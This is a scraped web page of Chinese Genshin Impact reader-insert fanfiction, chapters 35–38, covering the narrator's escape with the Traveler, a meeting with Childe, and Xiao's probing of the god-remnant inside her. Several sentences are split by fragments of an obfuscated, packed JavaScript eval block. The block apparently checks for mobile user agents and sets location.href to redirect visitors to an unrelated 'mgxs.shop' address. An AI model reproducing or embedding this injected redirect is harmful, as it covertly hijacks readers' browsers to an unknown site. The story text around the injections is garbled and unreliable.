凝光检查一番过后,大手一挥,千岩军从入口鱼贯而入,迅速包围了这里! “……太可怕了,凶手居然在我们之间…说起来,我们好像就是过分靠近场地的可疑人士?!”一番现状分析,派蒙往四周看去,发现千岩军已经开始盘问一些可疑人员了,紧张兮兮靠近你们。 “……我们走,璃月明显要出大事了,不能落入对方的信徒手里。”空拉着你迅速隐匿人群中,再找准间隙,借着假山与花坛的遮挡小心翼翼走过。 你屏住呼吸跟在他后面,多留意了一下脚下的东西,你记得是因为什么而被发现来着? 只可惜明明快要离开玉京台来到楼梯了,也跨过碎瓦片了,但还是被一阵呵斥激得浑身一震! 千岩军发现了可疑人员!开始追上来! 旅行者急忙拽着你逃跑!三步并作一步! 这就是无法逃开的转折点吗?!明明你们已经很小心了! 从假山到楼梯口的道路什么时候这么长了?突然间的发力让你险些换不上气,看着长到可以要人命的楼梯白得晃眼,你猛眨眼试图缓解感官上的不适。阶梯的转折处外,是一片规模不大的竹林,如果没错的话,那里——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282405|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “得罪了……” 少年突然一个顿步,直接将你抱了起来,双腿一蹬,直接纵身跃下楼梯——等你回过神的时候面前已经被放下地上,前后围上来了一大群千岩军。 “各位……小心别动哦。” 在退无可退,准备迎战之际,数道流水从身后精准命中最前面几个士兵,熟悉的灰色身影落在你们跟前,再如同游鱼那般快速穿梭在士兵之间,挥砍、斜劈、上挑……无形的水在手中翻飞,从水形剑到长枪利落切换着,激起的水花瞬间放倒周围的人。 “跟我来。” 你看到那橘子头冲你们摆头,率先往外冲—— ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 在至冬生活的那几年,你姑且是见过达达利亚的,或者说,阿贾克斯。 虽然见面的次数屈指可数。 在刚穿越过来差不多适应至冬的气候,在第一次执行团队类型、最危险、也是距离最远的任务中途,在满是惨白的世界里,你发现了鲜艳的橘色……还有深沉的蓝。 自深渊裂隙涌出的兽潮围剿了初成队伍的你们,在几近全灭的情况下你落下悬崖得以生还——这大概是穿越过来之后性质最为恶劣的一次任务。 老实说,你无法接受,可偏偏在这种情况下,你捡到刚从深渊归来的小橘子,像是抓住了心理安慰。 当时的你无法思考太多,在不知从哪冒出来的温暖仙灵的注视下,你将小小的他从雪地里挖出来。 在他加入愚人众后,你们还偶尔见面,或是执行跑腿任务,将他家里人的信和特产送到他手上、或是远远看他在训练,又或者……一同执行任务。 他成长得飞快,无论是实力还是身高,虽然见面次数甚少,但他每次都叫你姐姐。 有时候见你使用卷轴的元素造物,他总会不经意提出日常训练作为切磋的借口,都被你拒绝了——跟未来的末席切磋吗?绝对会当训练木桩的吧? 第一次,也是最后一次共同执行任务的时候,你作为补充人员去协助他带领的小队,去活捉收容从研究所里逃出来的魔物——已经不记得当初到底是怎么晕厥的了,过渡使用卷轴?亦或者接触了魔物的肢体碎屑被侵蚀了? 有些记不清了,只记得那次昏迷过后,散兵就找上你,把你安排进他的任务里去,再后来,就到了至冬的边陲小镇去往蒙德…… 如今再见面前的青年,莫名有些恍惚——哦,老婆,虽然英雄救美的戏码是很不错啦,但这个时候最好不要认出你为好! 41.第35章 不相认 灰色制服恰到好处衬托出青年的挺拔的肩胛与腰线,红色绶带绕过胸前延伸至后背作小披风,随着他的动作舞动。 你撑着膝盖喘气,抬眼看向橘发青年……的腰部,这么近距离看,欲遮还羞的腹肌,再配合神之眼散发的蓝色微光,可太涩了。 “……你们可以叫我「公子」喔。” “哇……性格好糟糕,救过我们一次就把我们当仆人?”派蒙双手一叉,有些气呼呼的。 “哈哈,我没有那个意思,名字这种东西啊,只是代号而已,就好像……”公子略微歪头,目光不经意掠过你,又再次扩散到你们身上,“你们,应该在蒙德见过「女士」吧?” 随着俩人的惊呼,你倒是很配合惊讶起来——很好,到目前为止他依旧没有要跟你搭话的意思,旁边的少年似乎有意无意把你给挡住了,嗯…有些微妙的气氛,毕竟你和阿纳托利都是有愚人众身份的人…… …… …… “我不是坏人……呃,我大概是坏人吧,但我不是来找你们麻烦的。”青年手一摊,露出无辜的表情,“可不可以拜托你们先别想着「立刻把这个人打倒」呢?” 少年瞥了你一眼,微微放松先前紧绷的肩膀。 “感谢你的风度,骑士。”青年满意笑出声,“我听说你在蒙德的事迹,所以在刚才的仪式上稍微关注了一下——正因如此,我知道你们没做过什么可疑行为,想必暗害神明的另有其人。” 此时你站在空的后侧,继续悄悄打量公子,表面上依旧很淡定,实际上思绪早就飘到今晚吃什么、空宝的辫子想玩一下、公子的腹肌看起来手感特别好…… 全程与记忆中的毫无差别,很好,该思考接下来应该是和空宝去爬山,还是留在这里……等等,搭档!这出事很快就会被他察觉的,按照他的尿性早该出现了,是因为「公子」在? “说起来,旅行者的这位……朋友。”在公子带领你们来到北国银行的店门前,环顾四周,最后转过身面向你们,“似乎有些警惕呢,我也理解,只不过,该如何称呼呢?” “干、干嘛,突然打听女孩子的名字很失礼的哦!”派蒙跟护小鸡仔的母鸡似的,晃到你跟前,差点让你看不见路了。 “抱歉抱歉,是我考虑不周。”他低笑着,于是向你伸出右手,眼里全是真诚,“不过用得有个称呼吧,我可以叫这位为骑士、旅行者,对这位这么可爱的小姐……当然,如果你愿意称呼你为小姐的话。” 虽然不知道他在打什么主意——但摸不到腹肌的话,退而求其次摸摸老婆的手也不是不可以,而且这个手套设计得太巧妙了—— 乍一看,半手套其实是很常见的款式,但他把袖子撩上去半截,露出手臂的肌肤,这个距离还能看清他小手臂上的肌肉线条走向…… 是个很好的参考素材,嗯。 你轻轻拨开应急食品,双手握上去用力上下晃动,一脸淡定:“嗯,你好,叫我「旅行者二号」就行。” 派蒙:??? 旅行者:…… 达达利亚:。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 大片朱红色的凭栏与绿色砖瓦相互交错,曲折的长廊整齐的排序在上空,北国银行坐落在古董店上方,这几层楼的规模可比建模宏伟多了。 公子把一张信物交给了你们,黄纸朱砂字……是百无禁忌箓没错了。说是有了这个就不会被「三眼五显仙人」伤害,以便去寻求来自他们的担保。 世人求仙,能有多少种理由呢?有人求财,有人求医,有人求姻缘……而你们就是为了求个公道。 达达利亚目送你们的离开,视线收回来的时候眸底的暗色还未褪去,便直直投向二楼的窗户——他走进银行内部毫不犹豫走向二楼,在不多的人群中盯着那个白毛面具男。 “……所谓的调度命令,是你干的?”阿纳托利未等他靠近,将掌心的小卡片甩了过去——上面用了水元素写下了字迹,普通人眼里不过是谁家商铺的名片。 “生气了?只是试一下你是否会来。”公子抬手接住,卡片在指尖翻动着,随后收入掌中收紧,“几年不见居然还是她的搭档……看来你的主子很在意她?” “「公子」大人,如果没别的什么事,请容我先行告退——”他皱了皱眉。 “别急啊……”达达利亚将卡片捏成皱巴巴的一个球,再往边上的垃圾桶随手一扔,长腿一迈,刚好挡住了去路,“这么久没见,叙叙旧?” “……”某面具男的红光暗淡一瞬。 不知何时,这个区域的人都自觉离开了,达达利亚也不再绕弯子,单刀直入:“她看起来面色不错,看来脱离愚人众的这两年过得挺滋润的,不过……她似乎不太想认我,真无情……” “她自然是很好,不认你……”他顿了顿,“要不从你自己身上找找原因?” 这是他从你嘴里学来的……异世界问候语。 “……呵……” 蔚蓝的眸底闪过一丝阴翳,公子抱臂倚在栏杆上,嘴角笑得更是危险:“难道不是因为我变强了?还是说……因为她现在有了新的伙伴,我这个旧识就显得多余了?那位金发的旅行者,看起来关系不错嘛。” 阿纳托利的眉头皱得更紧了。 “倒是你,跟着她是保护还是监视……或者等待某个时机而执行命令?”公子的目光紧紧盯着他的一举一动,“你觉得……作为「博士」的实验体,她真的脱离了吗……” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ “为什么是二号?” “因为他是旅行者,我加入进来那就是二号。”你摸了摸小派蒙的头。 “那……那阿纳托利呢,难道是三号?” “不,他是覆面系npc。” “什么摁批西……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287595|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >旅行者在前方颇有疑惑回头,看向落在后面的你们,折返回来向你伸手:“既然已经把消息传递给他了,我们就出发吧。” 没错,依旧是万能的卷轴,你把讯息压缩成一只「风晶蝶元素造物」,它会自己找到阿纳托利的——这种方法你试过很多次了,效率杠杠的。 “好的,空宝。”你下意识握住他的手。 少年又一次红了红脸颊,金发都遮挡不住,不自觉收紧了手指,低低应了一声,急忙别过脸带着你往前走,步伐有些急切。 嘿嘿,你发现了一只红透的金毛犬。 …… …… 传说仙家寄寓此间千百奇峰与翻腾云霭之间,是凡骨之躯难以企及的地方。 你看着面前几乎有一层楼这么高的仙鹿……哦不,是削月筑阳真君,又看了眼不远处的旅行者正在驱赶追过来的千岩军,派蒙在你身旁同样紧张看着。 你感觉有一道视线扫过你,无比的锐利——为什么这样盯着你? “……旅者,你受诬为刺客的冤情,我也已然知晓。” 再次听完你和派蒙的讲述,从愤怒中迅速抽离的仙鹿对你们心平气和,但看到你的时候,语气再次严肃起来:“凡人,汝是何人?” 你被突然间的问话吓得内心咯噔一下,你还啥都没做呢! “你的气息……混杂着一丝魔神遗秽……微弱如尘,然其本质污浊,逃不过我等仙家法眼,此等污秽,从何而来?” “等等等等!她真是我们的同伴,没有恶意!”派蒙有些紧张摆摆手,默默看向你咽了口口水。 你眨眨眼,硬着头皮把大概的事情简单说出来——很简单,自己莫名其妙成了愚人众的实验体被植入魔神残渣,目前有药剂稳定——总之就是把自己描述成一位患了病症的人。 你这次跟过来是否是个正确的选择? “此事我心已有判断,然我独断,或有差错,尚需知会众仙,然……”他的目光再次扫向你,“此女体内隐患尚存,如同星火藏于枯草,旅者,你既与其同行,须多加留意。” 告别之后,你们再次踏上旅途,在几个山头之间来回倒腾,寻找剩下的几位仙人,得亏有万能的卷轴…… “别再用那个了,累了的话,我来背你。” 金色的少年在你面前蹲下,示意你上来。 “对啊,我记得……阿贝多说过这个也不能频繁使用,次数累积到阈值会有副作用的,不要因为太过便利就依赖它啊!”派蒙飞到你跟前,伸手抓着你的卷轴,试图扯过去自己亲自保管。 “哈哈,不好意思,它确实太好用了……”见他们坚持,你只好默默收起来,没办法,想要什么都可以绘制成元素造物,虽然存在的时间并不是很长,但也足够了。 明明自己之前都决定只有危机时刻才使用,但有时候还是会忍不住摸出来,特别是在这种罕无人迹的地方。 42.第36章 花洲有客栈 于是乎,见到的每个仙人都会亲切问候一番,你体内的那玩意是怎么回事,那个女人除了扬言要镇压璃月港之外,还试图封印…… “等等等等等等!” 派蒙已经不知替你解释多少回,她都要背得滚瓜烂熟了。 对不起旅行者,你似乎给他拖后腿了,也不知现在众仙家对他的印象如何,反正对你不太好就是了。 “……刚才我听到的那些话,我也会查证,想必削月筑阳真君延请我等,也是为此,好了,你们速速离去,莫要再滋扰本仙。” 白色的鹤展翅离去,只留下你们几人站在平台面面相觑,空看向你,轻轻地碰了一下你的手臂:“我们走吧?” 回过神,将异样的情绪咽下去,你先一步往回走:“走吧走吧,要不试试再做一道刚才掌握的菜谱吧——或者把贡品给……?” “喂,偷吃贡品是不好的,还是一起重新收集食材吧!”派蒙飘在你身边,开始讨论接下来吃什么。 空稳步跟在你们身后,视线掠过你的背影,停留在头顶的翎羽——似乎比刚见面时又白了一寸,是错觉吗? ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 花洲有客栈,名为望舒。 暮色四合,华灯初上,成片荻草随着微风翻涌着,漾起底下的粼粼波光。 客栈依附高耸的石柱而建,远看整体造型如同高车,伏龙树贯穿中央,金色的枝叶四散舒展,覆盖建筑的顶部,簌簌摇晃,形似华盖。 客栈最顶上的露台,清冷仙人的目光落在手中的杏仁豆腐,一口接着一口舀起,送进口中细嚼慢咽。 盘中甜点见底,魈听完你们所说的遭遇,垂眸沉吟:“岩王帝君……竟遭此厄,我,无法想象,不论时代如何变易,我都从未想象过失去帝君的璃月之地。” 魈搁下盘子,抱臂倚靠在栏杆上,目光投放至远处,逐渐变得深邃起来:“掌管人间的七星……究竟扮演了什么样的角色?” 你继续扒拉着空的披风,不住地打量着——这是真人吗?!这是你能免费看的吗?! 紧身衣真是太绝了,隐隐约约还能看到底下起伏的肌肉,视线往下,没入宽松的长裤里,被腰带束缚住了,面具和铜色饰品依次挂在腰间上,总感觉动一下就要叮铃哐啷的…… 左手臂上的青色花纹似乎还泛着微光,在往上是略显毛糙的青墨色短发,以及金色的双眸——红色眼线赛高! “……我会去找削月、理水、□□位真君,他们也是时候做出决断了。” 不知是不是错觉,魈的目光掠过你时,眉头轻微皱了一下。 糟糕,被发现了。 私密马赛,对不起,骚瑞……你急忙阖目收回目光,整理好思绪。 直到魈xin地一下消失之前,他都未曾对你体内的异样提问……诶?不,不问吗?你都想好怎么把自己说得更惨了。 不到片刻,一只手在你前面晃了几下,你转头跌入他那染上暮色的鎏金瞳孔,似乎有流光在转动…… “……在看什么呢?”见你回神,少年后退半步,又看向远处苍茫的大地上,“这里的景色确实很美——饿了吗?” 你茫然上下点头,派蒙则开始兴奋起来:“要不我们也试试杏仁豆腐吧,魈上仙那么喜欢吃,而且还是望舒客栈的招牌菜,上次我们路过这里都没点,今天我要吃个够!” “呵呵……可以放在饭后吃,不然没胃口正餐的。”他回过头,视线在你们之间转动,“天色也挺晚了,要不我们先住一晚吧?” “派蒙赞成!” “喔喔,结束了呢……”你托着下巴点头。 “嗯?怎么了吗?” “不,没什么,只是有些感慨,这一路上又是仙人又是遗迹,有些恍惚。” “是啊,这段时间发生了太多事——走吧,有什么想吃的吗?” 你们已经被派蒙带到下面的用餐区域,跟菲尔戈黛特老板打过招呼后便开始点菜用餐,这一顿大概是这趟绝云间之行最丰盛的一次了。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 饭后 好吧,你只是趴在自己房间的窗台消食,预想中的那个身影就倏然出现在旁边的树干上——金色的瞳孔在昏暗中熠熠生辉,几近审视的意味似乎要洞穿你的灵魂。 哦吼吼,来了嘛,果真来了,毫不意外来了,他心里果然有你! “凡人,收起你无谓的念头。”他眯起眼,冷声打断你的思绪。 “晚上好,魈上仙,大半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292029|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜来是有什么事吗?”你还对他挥了挥手,要问什么赶紧问,你要睡觉了,不然只好……只好去睡觉了。 “……自你们踏入荻花洲伊始,我就已察觉你身负的邪祟气息。”他上前一步,隔着窗户打量你,周身似乎泛起一丝莫名的能量,“我需要确认,若你真是无辜之人,便不会伤你。” 微弱的清心气息涌入鼻腔,淡淡的非常好闻,借着月光与室内的灯光,你抬起头看向他,还有周围隐约散发的黑气。 突然灌入的冷风让你不自觉瑟缩一下——这么近距离的角度,救命,鼻血要止不住啦! 你闭了闭眼,简明扼要把自己的经历讲了一遍,等待发落。 “……” “愚人众……”他垂眸咀嚼着这个词,末了,再次抬眼直视你,目光锐利,“哼,人性意识碎片?那你要如何证明如今的你还是你,而不是那邪祟的意识?” “额,啊?”你愣住了,挠了挠头,“可我和旅行者一起从蒙德走到璃月的,他们可以证明吧?” 啊啊,这什么问题?!总不能让祂出来说:诶,没错,现在你们是共生关系,没有夺舍哦…… 怕不是他的和璞鸢先一步插在你脑袋上…… “即便如此,我也不能完全排除你的嫌疑。”他皱紧眉头,倾身靠近了点,目光转了一圈停留在你的翎羽上。 鬼使神差地,他伸出了手,却在即将触碰到的时候急忙刹车:“这是……因那邪祟而生的吗?” “额,大概吧,醒来就有了。” 他默默收回手,往下扫视的目光不知触及到什么,语气又一次严肃起来:“那是何物?” “这个吗?”顺着他的视线,你看到桌面上的卷轴,“该怎么说呢——当初我醒来时就在身边了,它是我的妙妙小工具!” 魈魈对你的说辞不太满意,撇了下嘴角。 怎地!这个名字怎么了?!明明很适合! “罢了,跟我走一趟。” “诶?去哪?” “一处清静之地,我需要仔细探寻你体内的……人性意识碎片,若真如你所说,便不再为难你,反之……”他向你伸出了手,周身凛冽的气势减弱了几分,唯独那双眸依旧闪烁着警惕的微光,“好自为之吧。” 43.第37章 额外确认 按理来说,阿纳托利此刻应该跟在你身边才对,你没有剧透他未来会发生什么,他也没有去询问。 就算是以前,他也不是时时刻刻护在你身边,担忧与思念像影子那般紧随其后,这几天他都忍耐下要去找你的冲动,但是…… 为什么这次他有些坐立难安? 北国银行的夜晚依旧灯火通明,他坐在窗边整理最近打听到的琐碎情报,灯光透过鬓边垂落白色的发梢,末端的暗红在光线下显得愈发深沉。他双手抵着桌沿一推,整个人靠在椅背上望着天花板逐渐出神。 侧目看过去,透过无数的屋檐与长廊,这个角度看过去刚好能掌握北国银行人员进出情况,偶尔甚至能见到灰色的身影进进出出。 “旅行者很强,抱上他的大腿的话,就不用担心会错过了!” 这句话早在蒙德时,尚未遇见旅行者时你就念叨了好几遍,之后,他也见识到了那位金发旅者的实力。 而在几天前,你就留下一只风晶蝶,告诉他你们已经去往绝云间了,拜托他多多收集情报…… 心中泛起些许酸涩,不应该是这样的。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 原本刚沉入睡眠的派蒙突然被晃醒,头顶的王冠都歪到一边了,她揉着极为沉重的眼皮,努力去看清眼前的人:“我刚睡着,发生什么事了……” “派蒙……”少年略显急躁,展开手心的一枚银杏蝴蝶,微弱的流风包裹其中,同时还带着清心特有的味道,没什么情感的清冷声音也一并流出—— “旅者,你的同伴暂借一用,于清静之地探查邪祟,事毕即归。” “啊……啊?”派蒙朦胧的双眼一下子瞪大了。 除了魈的,他也在门缝处发现一张纸条,留下的字迹显然是你的——去和魈上仙兜(划掉)解除他的疑惑,安心啦,并没有什么事,我们很快就回来。 尽管有两份留言,他们还是来到你房间门口,试探性敲了几下,然后屏息凝神,附耳聆听。 “没有声音?”派蒙还在拼命回神,晃了晃依旧困顿的脑袋,“你说解除魈上仙的疑惑是指……” “只是确认一下那个意识,毕竟对他们来说,这种情况……”少年试着推门,甚至试了门把手,显然是不可能打开的,“简直就像见到了行走的核弹。” 心下一横——他直接回到自己的房间,翻出门窗,来到隔壁房的外面。 元素视野下,窗台上确实残留有些许风元素,小心避开那些痕迹,他一个轻巧翻身,悄无声息落地后开始仔细观察起来……没有任何打斗痕迹,这方面暂时排除。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 魈是直接把你拎起来卡在胳膊底下,腾空而起,不同之前有温迪护着,你几乎是条件反射抱紧了他的腰——在感官超载的情况下你也无暇顾及手感了。 巨大的风压令你抬不起头,耳边只剩风的呼啸声,冷冽刺耳…… 等等,缓过来之后,好像又能感觉到脸颊旁起伏的肌肉了……可以再多飞一会儿吗? 你感觉脸都要吹变形了,脚底触及地面时都是软的,还是被魈一把拉了起来不至于直接跪下去。 借着一旁的石灯与月光,你这才意识到自己被带到不知哪的山旮旯了,不知名的植物散发着荧光,茂密的草木遮蔽大半的夜空,摇曳的影子令人生惧。 “……这是哪?”乍一看好像有点熟悉,但实在记不清是哪了,话说之前你们有路过这里吗? “此乃绝云间人迹罕至之地,你无需担忧。”见你缓过神,魈松开你的手臂,退到一旁抱臂而立,面无表情道,“你与那邪祟意识,究竟是何关系?” 你找了块石头坐下,出来得急,只披了件外套和拖鞋……知不知道拼命扣住拖孩得要用多大的力啊!! 不过,没事,卷轴带了!再不济……拜托魈上仙再带你飞回去? “据祂所说的,还有阿贝多的观察……咱们是共生关系,就像菟丝花。” “共生……”他目光扫视你的翎羽和卷轴,眉头紧锁,沉默了片刻,“你可知晓那邪祟的来历?” “不造哦,「博士」没说呢……” 无言以对,最后,少年仙人叹口气,缓步走到你面前蹲下,注视你的眼睛:“我需要探查你体内的魔神残渣,你可有异议?” 清冷、淡然、眼尾还带着如此嫣红的眼线……金色的眸子在此刻收敛了之前的警惕,变得稍稍柔和起来。 哦,好的老婆,只要是老婆,想做什么都行! 见你摇头没有拒绝,他单手捏决,虚空绘制一道你看不懂的符文,收敛周身的气息,并指轻触你的额头—— 你感觉一阵恍惚,紧接着听到祂的声音:「出去,我们的事轮不到你这个夜叉忧心。」 猛然睁开眼对上他惊愕的表情,你有些尴尬扯了扯嘴角,试探性开口:“那个……祂脾气不太好——我去和祂沟通一下?” 他收回手,稳住险些泄露的业障,缓慢起身,神情复杂看着你:“……也好,麻烦你了。” 魔神残渣,无一例外都只是怨念的集合体,无差别攻击所有生灵,管你生前的魔神有多伟大、多无私,死后的遗骸皆化为无形的遗恨,危及一方。 人性意识碎片……? 他不希望错过这次机会,若是能了解更多这个有些异常的魔神残渣,对璃月也是一大好事。 见你再次睁开眼,少年仙人立刻看了过来:“如何?它可愿意与我交流?” 你飞快看了他几眼,暗自咽了口唾沫,:“……好了,这次祂绝对不弹你了。” 闻言,他略微点头,再次回到你面前蹲下,这一次,他将自己的气息以及业障全部收了起来,尽量让自己更柔和一些…… 深邃无垠的空间除了远处光点,就只剩不远处和你一样人影,虽说那张脸被马赛克覆盖,但魈还是能感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315978|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方在注视自己。 “我知晓你为魔神残渣所化,你……究竟源于何物?”他放平了语气,直视对方。 「真是无礼啊……不应该做个自我介绍?」 “……璃月「三眼五显仙人」降魔大圣,魈。” 看着他蹙眉耐着性子的模样,祂忽然翘起嘴角:「嗯嗯,魈……是这丫头记忆里最喜欢的魈,是吧?」 他眉毛一抽,额角青筋突突跳着:“回答我的问题。” 「那很不巧,我无法回答,就像从小离开父母怀抱的人类,他是不记得父母具体是谁,长什么样,叫什么。」祂还无奈摊开手,「总的来说,我不知道究竟来自哪位魔神。」 虽说看着形态诡异,但至始至终,他都没感知到一丝恶意,是收敛得太好还是本就是这样? 显然,从这方面无法继续深入了,他不动声色四下查看,却无法丈量此地的空间,面前的身影也看不真切,想来,这里是祂主导的天地。 「嗯……这位,降魔大圣。」见对方那一瞬间的沉默,祂举起双手悠悠开口,「这番举动,无非是为了璃月,这方面你倒是可以放心,我无法,也不想动用任何力量。」 魈的气息悄悄收敛,垂下眼睑:“这不过只是你的一面之词,具体如何,我等自有判断,若未来你有丝毫逾矩……” 空间荡起微弱的涟漪,像是起了风,他重新睁开双眼,金色的光泽在漆黑中锐利而明亮,再次开口,每一个字仿佛都带了回音:“无论你是否本意,我都必将你这残渣祓除!” 「哦呀~好好好,你说了算。」 在魈彻底退出去之前,依旧能听到这戏谑的声音。 然而…… 你本人,安详地躺在地上,发出快要噶掉的动静:“说话就说话,不要突然降下威压,我感觉我整个人都要碎了……” 准备起身的魈看到你这副模样,身形一滞,挪开视线,又不忍扫视了几眼确认你真的无恙。他伸出去的手又停下,最终垂下,他停在原地迅速收起了气息:“是我疏忽了。” “不,这也不怪你。”你继续赖在地上,望着夜空,视线转了几圈来到他身上,“不过我有点好奇,在魈眼里,祂是属于魔神残渣的吗?” “是,亦非全是,我守护璃月千年,魔神残渣的能量波动是不会认错的。”他站起来后退几步不再看你,抱臂凝视着远处的山景,“然而此番交流之后,恐怕不能归于寻常邪祟看待……” 你长叹一声,闭上眼:“我想也是。” 你之前就有预感,像魈如此敏感的仙人,恐怕早就观察很久了,仔细想来,当初经过望舒客栈时,那股视线就是他吧。 山间的风是无比的冷,随便来一阵风,你没忍住打了好几个喷嚏。 明明身负魔神遗秽,思维依旧正常,但这身体却是无比孱弱,这个人类……好麻烦。 魈皱着眉头看过来,眼中的尽是嫌弃:“该回去了。” 44.第38章 无端的忧虑 再次体验飞行的感觉是怎样的呢? 此时已是后半夜,月光在朦胧的云雾中漫射,这个角度去看整个绝云间有某种说不上的美感,安静、孤独……石林立于云海间,将云雾分流汇聚。 “……魈上仙?”你收回目光,抱紧他的胳膊试探性嗫嚅出声,稍稍看他的反应。 他飞行的速度没有来时快,风都是平稳的,青色的微光流淌在周围,映衬着他完美的侧脸与碎发。 “何事。”他头也不回,携着你行进。 “不,没事,只是有些有胃疼。”你忍住不往下看,闭上眼,又是这种驮货物的姿势,让你想起不太愉快的回忆。 他低头瞥了你一眼,同样的姿势,这回你紧抱着他的胳膊,还把自己缩成一团紧绷着。 他轻轻叹气,手臂又收紧了些许:“忍住,就快到了。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 大半夜出来锄大地的,整个提瓦特除了旅行者就没别的了。 刀光划拉而过,几只史莱姆化为原浆,他掏出玻璃瓶准备收集起来。 “旅行者,你还是先睡觉吧,仙人再怎么警惕,也不可能对她出手的吧,更何况这一路上也没什么异常。”派蒙飘在他身旁连连打哈欠,揉着双眼,似乎只要她不说话,下一秒就可以飘着睡了。 “派蒙要是困了的话可以先回去睡,我再逛逛。” “可是……我也有些担心……” “担心么…或许你的推测是对的,她……应该不至于在这种情况下出事。” 少年淡淡应着,蹲在原地继续把原浆拨进瓶子里,时不时抬头,目光投至天边——上次这样的失落,是什么时候来着? 从沉睡中苏醒,却发现唯一的血亲,不在目之所及的视野里。 第一次约定时,摸了一把风龙泪滴然后就昏迷,最后又很快恢复正常,无论是日常的表现还是阿贝多的报告,那个意识都从未表现出任何异动。 自己这样是否有些疑神疑鬼了? 起初,他确实打算回房睡觉,实际上却是辗转反侧半宿,干脆起来去薅光了周围的霓裳花,清理了一遍周边的史莱姆…… 时间似乎比之前更为漫长,素材收集完毕,他又起身仰望旁边的建筑,风间树叶窸窣作响,偶尔有落叶飘落,拂过发梢又溜走。 抬手接住一片在指尖把玩,金灿灿的色泽在月光下有些发白,他走到水边望着对面的绝云间,一松手,金色的碎片落在水面上任由流淌。 青色的风突兀地出现在这里,少年那半宿未眠的头脑在这一刻瞬间清醒,迈出有些僵硬的腿,一把扶住了险些腿软摔倒的你—— “你……还好吧?” 你挂在旅行者的臂弯里没了力气,头也抬不起来,只是伸出右手颤颤巍巍比了个大拇指。 魈站在一旁,神色无奈道:“下次,不需要全程用力,既然我承诺过,自然不会伤及无辜——旅行者。” 空警惕抬头,揽着你肩膀的手微微收紧,你继续保持挂在原地,颠倒着视野同样好奇看过去。 “突然带走你的旅伴,此事是我唐突了,但如今正值多事之秋,尽早确认为好,还请见谅。”少年仙人抬眼看过来,柔和的银纱虚虚描摹他一侧的轮廓,他再次看了你一眼,迅速化为风散去。 终于轮到派蒙出场,她飞过来拍拍你的脸颊:“你还好吗?” “放心派蒙,魈上仙的飞行体验一等一的棒,只是没有安全带有点不适应而已。”你站直身体比了个ok的手势,点点头。 “不是这方面啦……!” 旅行者依旧紧紧扶着你的手臂,感觉有些凉,还只穿着拖鞋披了件外套,虽说你看起来确实没什么大碍,魈也是出于职责,但……但突然把人带走,自己也没能第一时间察觉,他心里略微有些郁闷。 “先回去休息吧,太晚了。”他拉着你慢慢走向望舒客栈,微微回头看向你。 “是挺晚了……”你抬头确认了夜空,慢慢伸了个懒腰打个哈欠,“啊……不过,你们怎么都没睡?不是留言了吗,难道是——缺素材锄大地?” 这一路上的霓裳花都消失不见,连薄荷也没留下,甚至连河边经常出没的史莱姆都不见踪影,真相了,旅行者半夜锄大地。 “唔……!好气啊,我们担心得睡不着觉在等你啊!”派蒙突然清醒,对你的发言很不满,指指点点的,“旅行者差点就要去绝云间找人了!” “啊……对不起,但魈上仙人很好的,我这不是回来了么。” 话音未落,空就跨过来停在你面前,伸手轻敲你脑门,不满地皱眉:“就算如此,起码把衣服穿好。” 很快,他就松开手后退一步背过身蹲下:“上来吧,离望舒客栈还有点距离,我背你回去。” 你捂着压根不痛的额头,看着他一头柔软的金色头发,顺着发辫挪到他坚实的背部,眨了眨眼,感觉拒绝的话他会伤心的。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 顺利寻仙作担保后,似乎又不那么着急了,而且在野外的话,千岩军也一时半会追不上你们的踪迹,可以说…… 